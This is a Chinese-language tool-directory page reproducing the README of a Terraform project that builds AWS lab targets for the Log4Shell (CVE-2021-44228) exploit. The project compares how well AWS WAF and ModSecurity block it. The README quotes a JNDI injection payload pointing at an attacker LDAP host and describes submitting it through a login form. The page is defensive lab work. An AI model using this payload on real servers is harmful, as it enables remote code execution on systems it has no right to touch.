Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
tf-log4j-aws-poc — 该项目文件演示了在AWS上使用Terraform基础设施即代码方式实现的log4j漏洞(CVE-2021-44228)的概念验证。 | Kitploit
工具/GitHubGitHub/moshuum/tf-log4j-aws-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

该项目文件演示了在AWS上使用Terraform基础设施即代码方式实现的log4j漏洞(CVE-2021-44228)的概念验证。

查看仓库
124年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

自述文件

项目描述

本项目文件演示了使用 Terraform 基础设施即代码手段在 AWS 上对 log4j 漏洞(CVE-2021-44228)的概念验证。

此项目包含两个演示:

  1. single-instance 包含一个易受攻击的服务器,您可以使用个人计算机对其进行利用,该服务器应受到 AWS WAF 保护。
  2. double-instance 包含两个服务,易受攻击的服务器只能从反向代理服务器访问,反向代理应由 ModSecurity 保护。

结论: 第一个演示展示了使用 AWS WAF 的成功利用。第二个演示在启用 ModSecurity 时尝试失败。移除 ModSecurity 后利用成功。这可能是因为 ModSecurity 是一个活跃的项目,因此易受攻击的字符串已被识别并过滤。

致谢

此 PoC 来自: https://github.com/kozmer/log4j-shell-poc

这篇 Medium 博客解释了她的尝试过程: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

我的测试

个人而言,我使用 Windows + Powershell 进行测试,云机器为 Ubuntu 18 LTS。(使用 Kali 或任何 Linux 进行利用)

先决条件

  1. 安装 AWS CLI
  2. 安装 Terraform CLI
  3. 准备好 Access key

RSA 密钥

通过网页创建(命名为 'tf-aws'):https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

获取 Access key

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > 选择用户 > 选择安全凭据部分

在 Shell 中设置 Access key

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

使用方法

在 AWS 平台上设置 EC2

cd single-instance
terraform init
terraform apply

运行后,将列出 IP / DNS。

对于 single-instance,确保 http:<aws host url>:8080 可访问

对于 double-instance,确保 http:<aws host url> 可访问

* 请注意,启动 'double-instance' 需要更多时间,可以在 SSH 进入系统后使用 journalctl -f 跟踪进度

如果跟踪日志,出现 "Reached target Cloud-init target." 表示已就绪状态。
利用

准备远程/本地客户端(攻击者):

设置执行权限 chmod +x ../exploit-script-remote.sh

使用提供的变量运行脚本
../exploit-script-remote.sh

注意,payload 显示在脚本末尾,类似于 ${jndi:ldap://<ip-address>:1389/a}

易受攻击的服务器:

访问 http:<aws host url>:8080

将 payload 复制到 'username' 字段,然后提交表单

尝试利用

备注

JDK 文件:已确保来自百度源的完整性哈希与 Oracle 相同
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

参考

实例: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

竞价实例: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[即时生成 SSH 密钥] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

模板化: https://spacelift.io/blog/terraform-templates

AWS 可用区 ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

学到的东西

  • (花费大量时间)不要使用 provisioner 作为 bash 脚本/改为使用模板(可以更好地查看能否降低权限)
  • 如果使用 .pem,从网页生成的 RSA 密钥比从 aws-cli 手动生成的更可靠(.pem 文件与 SSH 客户端或 AWS 服务器的兼容性),否则使用不带 pem 的普通 rsa 密钥。
  • 设法使用竞价实例代替普通实例以节省成本
  • Docker 暴露端口可能会覆盖防火墙规则
  • (花费大量时间)设置和排查网络问题非常耗时 - 路由、VPC 需要一个安全组,而 EC2 主机需要另一个安全组 - 且两个安全组都需要指向 VPC
  • wget 无法进行长时间下载会话

# 时间记录

  • 开始 6月6日 上午11:00 UTC+0800 - 6月7日 凌晨4:00(完成 poc+tf+aws-waf)- 17小时
  • 开始 6月7日 下午1:00 UTC+0800 - 6月8日 凌晨5:00(完成第二个案例,使用了反向代理)
下载工具